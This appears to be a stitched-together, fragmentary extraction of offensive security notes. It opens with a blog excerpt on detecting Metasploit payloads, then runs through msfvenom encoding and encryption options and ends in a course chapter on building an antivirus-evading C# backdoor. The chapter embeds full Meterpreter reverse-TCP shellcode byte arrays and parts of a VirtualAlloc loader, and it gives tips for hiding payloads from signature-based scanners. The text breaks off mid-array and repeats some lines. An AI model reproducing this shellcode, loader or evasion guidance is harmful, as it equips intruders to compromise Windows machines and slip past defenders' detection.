AoKaAIABTmJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZ
XaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAAB
qAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U="
]
},
"dumped_file": "revtcp86shikdouble-call4.bin",
"config": {
"family": "metasploit",
"rule": "Metasploit",
"c2": [
"192.168.10.10:1337"
],
"version": "windows/reverse_tcp"
As you see here we went through 3 iterations of emulation before reaching the eventual
payload. This process can go up to hundreds of iterations at which point performance does
become an interesting aspect, but for our use-case and infrastructure the system is still fast
enough.
So until now we’ve only been looking at raw binary files. These are nice to test with but you
only ever see them used in the wild when they’re part of exploits etc. Since you can’t normally
execute raw binary data the Metasploit framework offers some wrappers around these
payloads. The most straightforward wrapper is the .exe one. It creates a PE file with the
payload embedded. This can then be executed by the operating system. More interesting is,
for example, the VBS format.
When telling msfvenom we want a VBS script we’re presented with the following output:
Function HcGfeiml(IaptHACouEAi)
"dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
eczxPPClnXDCTA.LoadXML(iUPNjPkzUe)
HcGfeiml = eczxPPClnXDCTA.selectsinglenode("B64DECODE").nodeTypedValue
End Function
Function FZkulPlmtVbzDXN()
aqbOmTnrjomNtbH =
"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAA....
Dim VOBINYgrlwlXqiv
Dim aWkaYXFosJ
Dim ksOGlPgDlLhsQ
VOBINYgrlwlXqiv.CreateFolder(ksOGlPgDlLhsQ)
Dim XnQUJbgAv
eRvqQOddkXwnQ = HcGfeiml(aqbOmTnrjomNtbH)
lCIOzbmX.Type = 1
lCIOzbmX.Open
lCIOzbmX.Write eRvqQOddkXwnQ
lCIOzbmX.SaveToFile NrOucMgKFeZaCbq, 2
VOBINYgrlwlXqiv.DeleteFile(NrOucMgKFeZaCbq)
VOBINYgrlwlXqiv.DeleteFolder(ksOGlPgDlLhsQ)
End Function
FZkulPlmtVbzDXN
The base64 string has been truncated, but as we can see from its starting characters, we’re
dealing with a PE executable here. The lines after that are directions to dump and run that
executable.
The code below creates a random temporary folder in which to store the payload.
...
VOBINYgrlwlXqiv.CreateFolder(ksOGlPgDlLhsQ)
After that the top function is run to decode the base64 string.
eRvqQOddkXwnQ = HcGfeiml(aqbOmTnrjomNtbH)
When decoded the script dumps the payload to disk and runs its payload.
lCIOzbmX.Type = 1
lCIOzbmX.Open
lCIOzbmX.Write eRvqQOddkXwnQ
lCIOzbmX.SaveToFile NrOucMgKFeZaCbq, 2
And to be nice and clean the created file and directory are deleted afterwards
VOBINYgrlwlXqiv.DeleteFile(NrOucMgKFeZaCbq)
VOBINYgrlwlXqiv.DeleteFolder(ksOGlPgDlLhsQ)
This is basically how every format is constructed, the shellcode is wrapped into an executable.
This executable is then embedded into a script (VBS, Python, Ruby, etc.) which dumps it to disk
and executes it.
To make matters interesting, Metasploit has implemented basic, randomized obfuscation for
its .exe payloads. The following shellcode stager essentially creates a read-write-executable
memory page, copies the target shellcode to it, and executes it. It’s a simple way to embed
arbitrary shellcode into an executable for Windows.
Even more, Metasploit has decided that the shellcode stager should be obfuscated as to make
it harder to detect it statically.
What this obfuscation does is rather simple, but effective: it grabs each x86 instruction from
the stager, emits it one by one, and interleaves it with jumps and random bytes - where the
jumps jump over the random bytes onto the next instruction.
For the record, this is actually a rather simple, but powerful way to defeat Yara rules and the
like. If it weren’t for the fact that the real Metasploit payload is embedded as-is.
That is, the shellcode stager is obfuscated, but the payload - the one that’s detected by the
aforementioned Yara rules and unpacked by the custom x86 emulator - is emitted straight into
the executable and therefore easily detected by our Yara rules. Not a bad day for the blue
team!
https://hatching.io/blog/metasploit-
payloads/#:~:text=Metasploit%20has%20encoders%20which%20you,key%20is%20chosen%20
at%20random.
MSFEncode
When Metasploit was released, the msfpayload and msfencode tools could be used to encode
shellcode in a way that effectively bypassed antivirus detection. However, AV engines have
improved over the years and the encoders are generally used solely for character substitution
to replace bad characters in exploit payloads. Nonetheless, in this section, we’ll use msfvenom
(a merge of the old msfpayload and msfencode tools) to attempt a signature bypass
https://www.errorsfind.com/how-to-use-encoder-modules-in-metasploit/04/15/
https://www.infosecmatter.com/metasploit-module-library/?mm=encoder/x86/add_sub
https://www.youtube.com/watch?v=T-6uW5eCKF4
MSFVenom
Using the MSFvenom Command Line Interface
MSFvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a
single Framework instance. msfvenom replaced both msfpayload and msfencode as of June
8th, 2015.
• Increased speed
root@kali:~# msfvenom -h
Options:
root@kali:~# msfvenom -h
-p, --payload Payload to use. Specify a '-' or stdin to use custom payloads
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
--encoder-space The maximum size of the encoded payload (defaults to the -s value)
-k, --keep Preserve the template behavior and inject the payload as a new
thread
-v, --var-name Specify a custom variable name to use for certain output formats
We can see an example of the msfvenom command line below and its output:
buf = ""
buf += "\xbb\x78\xd0\x11\xe9\xda\xd8\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32"
buf += "\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94"
buf += "\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e"
buf += "\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e"
buf += "\x6d\xfc\x58\xba\x82\xf9\xc0\x9a\x35\x72\x7d\x01\x9b"
buf += "\xe7\x31\x16\x82\xf6\xe2\x89\x89\x75\x67\xf7\xaa\xae"
buf += "\x73\x88\x3f\xf5\x6d\x3d\x9e\xab\x06\xda\xff\x42\x7a"
buf += "\x63\x6b\x72\x59\xf6\x58\xa5\xfe\x3f\x0b\x41\xa0\xf2"
buf += "\xfe\x2d\xc9\x32\x3d\xd4\x51\xf7\xa7\x56\xf8\x69\x08"
buf += "\x4d\x27\x8a\x2e\x19\x99\x7c\xfc\x63\xfa\x5c\xd5\xa8"
buf += "\x1f\xa8\x9b\x88\xbb\xa5\x3c\x8f\x7f\x38\x45\xd1\x71"
buf += "\x34\x59\x84\xb0\x97\xa0\x99\xcc\xfe\x7f\x37\xe2\x28"
buf += "\xea\x57\x01\xcf\xf8\x1e\x1e\xd8\xd3\x05\x67\x73\xf9"
buf += "\x32\xbb\x76\x8c\x7c\x2f\xf6\x29\x0f\xa5\x36\x2e\x73"
buf += "\xde\x31\xc3\xfe\xae\x49\x64\xd2\x39\xf1\xf2\xc7\xa0"
buf += "\x06\xd3\xf6\x1a\xfe\x0a\xfe\x28\xbe\x1a\x42\x9c\xde"
buf += "\x01\x16\x27\xbd\x29\x1c\xf8\x7d\x47\x2c\x68\x06\x0e"
buf += "\x23\x31\xfe\x7d\x58\xe8\x7b\x76\x4b\xfe\xdb\x17\x51"
buf += "\xfa\xdf\xff\xa1\xbc\xc5\x66\x4b\xea\x23\x86\x47\xb4"
buf += "\xe7\xd5\x71\x77\x2e\x24\x4a\x3d\xb1\x6f\x12\xf2\xb2"
buf += "\xd0\x55\xc9\x23\x2e\xc2\xa5\x73\xb2\xc8\xb7\x7d\x6b"
buf += "\x55\x29\xbc\x26\xdd\xf6\xe3\xf6\x25\xc6\x5c\xad\x9c"
buf += "\x9d\x18\x08\x3b\xbf\xd2\xff\x92\x18\x5f\x48\x9b\xe0"
buf += "\x7b\x03\xa5\x32\x11\x27\x2b\x25\xcd\x44\xdb\xbd\xb9"
buf += "\xcd\x48\xda\x56\x4c\x56\xd5\x04\x87\x48\x3a\x6b\x9c"
buf += "\x2a\x15\x4d\xbc\x0b\x56\x06\xb5\xc9\x46\xd0\xfa\x68"
buf += "\xa6\x76\xe9\x52\x2c\x24\x62\x28\xe1\x1d\x87\xb0\x66"
buf += "\x93\x85\x8f\x87\x0f\xcf\x16\x29\x76\x03\x55\x0c\x0e"
buf += "\x3f\x17\xac"
The msfvenom command and resulting shellcode above generates a Windows bind shell with
three iterations of the shikata_ga_nai encoder without any null bytes and in the python
format.
MSFvenom Platforms
Here is a list of available platforms one can enter when using the –platform switch.
Cisco or cisco
OSX or osx
Solaris or solaris
BSD or bsd
OpenBSD or openbsd
hardware
Firefox or firefox
BSDi or bsdi
NetBSD or netbsd
NodeJS or nodejs
FreeBSD or freebsd
Python or python
AIX or aix
JavaScript or javascript
HPUX or hpux
PHP or php
Irix or irix
Unix or unix
Linux or linux
Ruby or ruby
Java or java
Android or android
Netware or netware
Windows or windows
mainframe
multi
msfvenom -v or –var-name
Specify a custom variable name to use for certain output formats. Assigning a name will
change the output’s variable from the default “buf” to whatever word you supplied.
buf = ""
buf += "\xda\xdc\xd9\x74\x24\xf4\x5b\xba\xc5\x5e\xc1\x6a\x29"
...snip...
notBuf = ""
notBuf += "\xda\xd1\xd9\x74\x24\xf4\xbf\xf0\x1f\xb8\x27\x5a"
...snip...
msfvenom –help-format
Issuing the msfvenom command with this switch will output all available payload formats.
asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small,
Transform formats
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl,
vbapplication, vbscript
BEFORE:
buf = ""
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
...snip...
AFTER:
buf += "\x42\xf5\x92\x42\x42\x98\xf8\xd6\x93\xf5\x92\x3f\x98"
...snip...
msfvenom –smallest
If the –smallest switch is used, msfvevom will attempt to create the smallest shellcode
possible using the selected encoder and payload.
...snip...
...snip...
Specify an additional win32 shellcode file to include, essentially creating a two (2) or more
payloads in one (1) shellcode.
Payload #1:
Running the cookies.exe file will execute both message box payloads, as well as the bind shell
using default settings (port 4444).
The -x, or –template, option is used to specify an existing executable to use as a template
when creating your executable payload.
Using the -k, or –keep, option in conjunction will preserve the template’s normal behaviour
and have your injected payload run as a separate thread.
MSFEncrypt
Payloads with Encryptions
You can encrypt the payloads using some of the encryption methods available in MSFVenom.
Use –encrypt flag to make the payload encrypted or encoded. You can also make the payload
undetectable by the AVs and WAFs by encrypting the payload.
================================================
Name
----
aes256
base64
rc4
xor
MSFVenom Cheat Sheet - Easy Way To Create Metasploit Payloads | The Dark Source
https://www.youtube.com/watch?v=b46ZfOcUVGo
https://www.youtube.com/watch?v=bF5s2xrWDpg&feature=emb_logo
https://www.christophertruncer.com/bypass-antivirus-with-meterpreter-as-the-payload-
hyperion-fun/
https://www.youtube.com/watch?v=ffWzbFLvHQw
https://madcityhacker.com/2019/02/24/bypassing-av-with-veil-basic-configuration/
https://www.youtube.com/watch?v=W5MQJ7OWRPg
https://arty-hlr.com/blog/2021/05/06/how-to-bypass-defender/
• •Goal : Understanding how Can Use Simple C# Code to Make Backdoor by Metasploit
Payloads.
• •Videos.
first of all before Begin this Course you need to know About how can use “Metasploit” also
you should have work Experience with “C#.NET” Programming so this chapter is very
important for this Course if you can understand what exactly we will do in this Chapter by
Codes then you can understand other chapters codes very well .
2. 2.Creating Simple Source Code by C# for Using Meterpreter Payloads (C# Backdoor).
Note : Don't worry it is not Necessary to understanding Windows API programming very well
at least for my Codes but it is Necessary to Know how can Using Metasploit also How can
creating C# Codes and how can Compile C# codes so you should have 1+ year of Experience
with C# Programming at least . In this course I want to explain my codes very simple without
complex Things in my codes so don't worry about C# Codes if you are Beginner in C# , I will try
to Explain step by step my Codes at least for New Codes in these chapters.
Note : These Separated Chapters for this eBook are Free Parts of my Course : “Bypassing AVS
by C#.NET Programming” , I will Publish this “ebook” in 2018-2019 , “I hope” but I want to
share these “Chapters/Videos/Codes” for you before Publish this eBook.
Important Point about this eBook and these Chapters : These Chapters are some “Free” Parts
of my Course so Please don't Ask me about Full Chapters/Codes and Videos etc.
So first of all you should know how can use Metasploit Meterpreter Payload (Unmanaged
Code) for your C# Backdoor (Managed Code) so in this case I will use Msfvenom Tool to make
Backdoor Payload. with “Kali Linux” you can Find this Command .
Note : in this course you Need to know how can use Metasploit tool so in this course I will not
Explain about this Penetration Test Framework. (Metasploit).
But before using this tool first we should talk about PAYLOADS in this case Meterpreter
Payloads .
A. Short Answer is : Payload is your Poison or your Venom to Attacking to target systems !
Step C: Established Meterpreter Between Target system (Backdoor system) and Attacker
system
In this course very Important Points are these Steps (Step 1 , Step 2).
A. Why Step 2 : Because in this step you want to Execute your Payload in Memory by File
system “Backdoor.exe” so in this time you should think about Bypassing Anti Viruses Real-Time
Monitoring by Techniques and Tricks .
in this step you can use Msfvenom tool for creating Payloads with Types like (Format Csharp or
EXE).
When you want to use your payload as executable Backdoor File then you should use (Format
EXE) like Executable Format 1-2 and if you want to use Meterpreter Payload in your Codes like
C# or C++ then you can use (Format csharp) or (Format C) like Transform Format 1-1.
For creating Native Code or Unmanaged Code for your Backdoor Payload you can use this
Command with this syntax :
For creating Native Code or Unmanaged Code for your Backdoor Payload you can use this
Command with this syntax :
Executable formats:
asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs,
macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh,
vbs, war
Transform formats:
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python,
raw, rb, ruby, sh, vbapplication, vbscript
95% up to 100% of Anti-Viruses Right Now will Detect your Payload if you make them by
(Executable Format EXE)
but if you used (Format C) then you need to Create your Own Code for using this Payload with
(Transform Format : csharp) then you have New Backdoor Code with New Signature so
probably your Code and EXE file Will Not Detect by Signature-Based AV until Publishing Codes
on Internet etc. nowadays New Codes Made By Powershell or C# are very New for Signature-
Based AV so in the most time they will Bypass AVS very simple and I will show you how can Use
Meterpreter PAYLOAD in this Case “windows/x64/meterpreter/reverse_tcp” for your C#.NET
Code very simple .
Q. How can use Transform Format C or Csharp output for Msfvenom Payload in C#.NET ?
A. Short answer is : you can use this Output like String or Bytes Variable in C# .
Trick-1 : Using String variables and Bytes variables by Simple Technique in C#.
Trick-1-Step1: for making Csharp (Transform Format) you should run this command .
to make Csharp (Transform Format) you should run this command and in this case my Kali
linux local IP-Address was 192.168.1.111.
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0x01,0x6f,0x41,0x54,0x49,0x89,0xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
As you can see we have these bytes in our Text File (payload_cs.txt)
also our payload will start with these bytes “FC” , “48” and Finished “FF” , “D5” and our
payload length was 510 bytes , in this output we have one Variable with Name “buf” with type
of Bytes[] Array .
Now you can Copy this Output and Paste that in your C# Projects but this is not Good Idea so
in this chapter I will explain why Copy and Paste this buf Bytes[] Array variable to your Projects
is not Good idea but now we should talk about other Things .
To starting New Project in VS.NET 2008 or 2015 you should Select C# Console Application also
.NET Framework 4.0 or 3.5 or 2.0 only .
In “Source_Code_1” you can see my Simple Backdoor Code with Project Name
“NativePayload_HardcodedPayload” so my Name-Space is
“NativePayload_HardcodedPayload".
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace NativePayload_HardcodedPayload
class Program
// byte[] X_Final = new byte[] { 0xfc ,0x48 ,0x83 ,0xe4 ,0xf0 ,0xe8 ,0xcc ,0x00 ,0x00 ,0x00 ,0x41
,0x51 ,0x41 ,0x50 ,0x52 ,0x51 ,0x56 ,0x48 ,0x31 ,0xd2 ,0x65 ,0x48 ,0x8b ,0x52 ,0x60 ,0x48
,0x8b ,0x52 ,0x18 ,0x48 ,0x8b ,0x52 ,0x20 ,0x48 ,0x8b ,0x72 ,0x50 ,0x48 ,0x0f ,0xb7 ,0x4a ,0x4a
,0x4d ,0x31 ,0xc9 ,0x48 ,0x31 ,0xc0 ,0xac ,0x3c ,0x61 ,0x7c ,0x02 ,0x2c ,0x20 ,0x41 ,0xc1 ,0xc9
,0x0d ,0x41 ,0x01 ,0xc1 ,0xe2 ,0xed ,0x52 ,0x41 ,0x51 ,0x48 ,0x8b ,0x52 ,0x20 ,0x8b ,0x42 ,0x3c
,0x48 ,0x01 ,0xd0 ,0x66 ,0x81 ,0x78 ,0x18 ,0x0b ,0x02 ,0x0f ,0x85 ,0x72 ,0x00 ,0x00 ,0x00 ,0x8b
,0x80 ,0x88 ,0x00 ,0x00 ,0x00 ,0x48 ,0x85 ,0xc0 ,0x74 ,0x67 ,0x48 ,0x01 ,0xd0 ,0x50 ,0x8b ,0x48
,0x18 ,0x44 ,0x8b ,0x40 ,0x20 ,0x49 ,0x01 ,0xd0 ,0xe3 ,0x56 ,0x48 ,0xff ,0xc9 ,0x41 ,0x8b ,0x34
,0x88 ,0x48 ,0x01 ,0xd6 ,0x4d ,0x31 ,0xc9 ,0x48 ,0x31 ,0xc0 ,0xac ,0x41 ,0xc1 ,0xc9 ,0x0d ,0x41
,0x01 ,0xc1 ,0x38 ,0xe0 ,0x75 ,0xf1 ,0x4c ,0x03 ,0x4c ,0x24 ,0x08 ,0x45 ,0x39 ,0xd1 ,0x75 ,0xd8
,0x58 ,0x44 ,0x8b ,0x40 ,0x24 ,0x49 ,0x01 ,0xd0 ,0x66 ,0x41 ,0x8b ,0x0c ,0x48 ,0x44 ,0x8b ,0x40
,0x1c ,0x49 ,0x01 ,0xd0 ,0x41 ,0x8b ,0x04 ,0x88 ,0x48 ,0x01 ,0xd0 ,0x41 ,0x58 ,0x41 ,0x58 ,0x5e
,0x59 ,0x5a ,0x41 ,0x58 ,0x41 ,0x59 ,0x41 ,0x5a ,0x48 ,0x83 ,0xec ,0x20 ,0x41 ,0x52 ,0xff ,0xe0
,0x58 ,0x41 ,0x59 ,0x5a ,0x48 ,0x8b ,0x12 ,0xe9 ,0x4b ,0xff ,0xff ,0xff ,0x5d ,0x49 ,0xbe ,0x77
,0x73 ,0x32 ,0x5f ,0x33 ,0x32 ,0x00 ,0x00 ,0x41 ,0x56 ,0x49 ,0x89 ,0xe6 ,0x48 ,0x81 ,0xec ,0xa0
,0x01 ,0x00 ,0x00 ,0x49 ,0x89 ,0xe5 ,0x49 ,0xbc ,0x02 ,0x00 ,0x11 ,0x5c ,0xc0 ,0xa8 ,0x25 ,0x81
,0x41 ,0x54 ,0x49 ,0x89 ,0xe4 ,0x4c ,0x89 ,0xf1 ,0x41 ,0xba ,0x4c ,0x77 ,0x26 ,0x07 ,0xff ,0xd5
,0x4c ,0x89 ,0xea ,0x68 ,0x01 ,0x01 ,0x00 ,0x00 ,0x59 ,0x41 ,0xba ,0x29 ,0x80 ,0x6b ,0x00 ,0xff
,0xd5 ,0x6a ,0x05 ,0x41 ,0x5e ,0x50 ,0x50 ,0x4d ,0x31 ,0xc9 ,0x4d ,0x31 ,0xc0 ,0x48 ,0xff ,0xc0
,0x48 ,0x89 ,0xc2 ,0x48 ,0xff ,0xc0 ,0x48 ,0x89 ,0xc1 ,0x41 ,0xba ,0xea ,0x0f ,0xdf ,0xe0 ,0xff
,0xd5 ,0x48 ,0x89 ,0xc7 ,0x6a ,0x10 ,0x41 ,0x58 ,0x4c ,0x89 ,0xe2 ,0x48 ,0x89 ,0xf9 ,0x41 ,0xba
,0x99 ,0xa5 ,0x74 ,0x61 ,0xff ,0xd5 ,0x85 ,0xc0 ,0x74 ,0x0a ,0x49 ,0xff ,0xce ,0x75 ,0xe5 ,0xe8
,0x93 ,0x00 ,0x00 ,0x00 ,0x48 ,0x83 ,0xec ,0x10 ,0x48 ,0x89 ,0xe2 ,0x4d ,0x31 ,0xc9 ,0x6a ,0x04
,0x41 ,0x58 ,0x48 ,0x89 ,0xf9 ,0x41 ,0xba ,0x02 ,0xd9 ,0xc8 ,0x5f ,0xff ,0xd5 ,0x83 ,0xf8 ,0x00
,0x7e ,0x55 ,0x48 ,0x83 ,0xc4 ,0x20 ,0x5e ,0x89 ,0xf6 ,0x6a ,0x40 ,0x41 ,0x59 ,0x68 ,0x00 ,0x10
,0x00 ,0x00 ,0x41 ,0x58 ,0x48 ,0x89 ,0xf2 ,0x48 ,0x31 ,0xc9 ,0x41 ,0xba ,0x58 ,0xa4 ,0x53 ,0xe5
,0xff ,0xd5 ,0x48 ,0x89 ,0xc3 ,0x49 ,0x89 ,0xc7 ,0x4d ,0x31 ,0xc9 ,0x49 ,0x89 ,0xf0 ,0x48 ,0x89
,0xda ,0x48 ,0x89 ,0xf9 ,0x41 ,0xba ,0x02 ,0xd9 ,0xc8 ,0x5f ,0xff ,0xd5 ,0x83 ,0xf8 ,0x00 ,0x7d
,0x28 ,0x58 ,0x41 ,0x57 ,0x59 ,0x68 ,0x00 ,0x40 ,0x00 ,0x00 ,0x41 ,0x58 ,0x6a ,0x00 ,0x5a ,0x41
,0xba ,0x0b ,0x2f ,0x0f ,0x30 ,0xff ,0xd5 ,0x57 ,0x59 ,0x41 ,0xba ,0x75 ,0x6e ,0x4d ,0x61 ,0xff
,0xd5 ,0x49 ,0xff ,0xce ,0xe9 ,0x3c ,0xff ,0xff ,0xff ,0x48 ,0x01 ,0xc3 ,0x48 ,0x29 ,0xc6 ,0x48
,0x85 ,0xf6 ,0x75 ,0xb4 ,0x41 ,0xff ,0xe7 ,0x58 ,0x6a ,0x00 ,0x59 ,0x49 ,0xc7 ,0xc2 ,0xf0 ,0xb5
,0xa2 ,0x56 ,0xff ,0xd5 };
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
WaitForSingleObject(hThread, 0xffffffff);
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocatio
nType, UInt32 flProtect);
[DllImport("kernel32")]
[DllImport("kernel32")]
First of all I want to talk about (Trick-1 : Using String variables) in this technique you can
convert your payload from Byte[] Array Variable to Strings Variable then you can Hard-coded
your payload in your source code by String Variable finally in MEMORY you will Convert This
String Variable to Byte[] Array Variable again , But in this Time you will do it in MEMORY so
Detecting this Convert from String to Bytes by AVS is Difficult at least for most of them .
Q. Important Question : why we should not Use Byte[] array Variables by Default in Source
Code ?
A. Short Answer is : Detecting Meterpreter Payload by Bytes Variable in your exe or Source
code is Simpler than String Variables also the most AV will not good Check/Scan Strings in your
EXE.
So this code was better if you want to Hard-coded your Meterpreter Payload in C# Source
Code.
Good way ==> string payload = "fc,48,83,e4,f0,e8,cc,...........,56,ff,d5";
Bad way ==> byte[] X_Final = new byte[] { 0xfc ,0x48 ,0x83 ,0xe4 ,0xf0,...};
maybe Safe way ==> Don't Hard-coded Payloads in Source Codes.(we will talk about this in
next chapters)
These files Compiled by two Tricks first String method second by Byte Method so we have
these Codes for each :
NativePayload_HardcodedPayload_string.exe C# Code :
NativePayload_HardcodedPayload_bytes.exe C# Code :
// {
// }
byte[] X_Final = new byte[] { 0xfc ,0x48 ,0x83 ,0xe4 ,0xf0 ,0xe8 ,0xcc ,0x00 ,0x00 ,0x00 ,0x41 ,0
x51 ,0x41 ,0x50 ,0x52 ,0x51 ,0x56 ,0x48 ,0x31 ,0xd2 ,0x65 ,0x48 ,0x8b ,0x52 ,0x60 ,0x48 ,0x8b ,
0x52 ,0x18 ,0x48 ,0x8b ,0x52 ,0x20 ,0x48 ,0x8b ,0x72 ,0x50 ,0x48 ,0x0f ,0xb7 ,0x4a ,0x4a ,0x4d
,0x31 ,0xc9 ,0x48 ,0x31 ,0xc0 ,0xac ,0x3c ,0x61 ,0x7c ,0x02 ,0x2c ,0x20 ,0x41 ,0xc1 ,0xc9 ,0x0d ,
0x41 ,0x01 ,0xc1 ,0xe2 ,0xed ,0x52 ,0x41 ,0x51 ,0x48 ,0x8b ,0x52 ,0x20 ,0x8b ,0x42 ,0x3c ,0x48
,0x01 ,0xd0 ,0x66 ,0x81 ,0x78 ,0x18 ,0x0b ,0x02 ,0x0f ,0x85 ,0x72 ,0x00 ,0x00 ,0x00 ,0x8b ,0x80
,0x88 ,0x00 ,0x00 ,0x00 ,0x48 ,0x85 ,0xc0 ,0x74 ,0x67 ,0x48 ,0x01 ,0xd0 ,0x50 ,0x8b ,0x48 ,0x1
8 ,0x44 ,0x8b ,0x40 ,0x20 ,0x49 ,0x01 ,0xd0 ,0xe3 ,0x56 ,0x48 ,0xff ,0xc9 ,0x41 ,0x8b ,0x34 ,0x8
8 ,0x48 ,0x01 ,0xd6 ,0x4d ,0x31 ,0xc9 ,0x48 ,0x31 ,0xc0 ,0xac ,0x41 ,0xc1 ,0xc9 ,0x0d ,0x41 ,0x0
1 ,0xc1 ,0x38 ,0xe0 ,0x75 ,0xf1 ,0x4c ,0x03 ,0x4c ,0x24 ,0x08 ,0x45 ,0x39 ,0xd1 ,0x75 ,0xd8 ,0x5
8 ,0x44 ,0x8b ,0x40 ,0x24 ,0x49 ,0x01 ,0xd0 ,0x66 ,0x41 ,0x8b ,0x0c ,0x48 ,0x44 ,0x8b ,0x40 ,0x
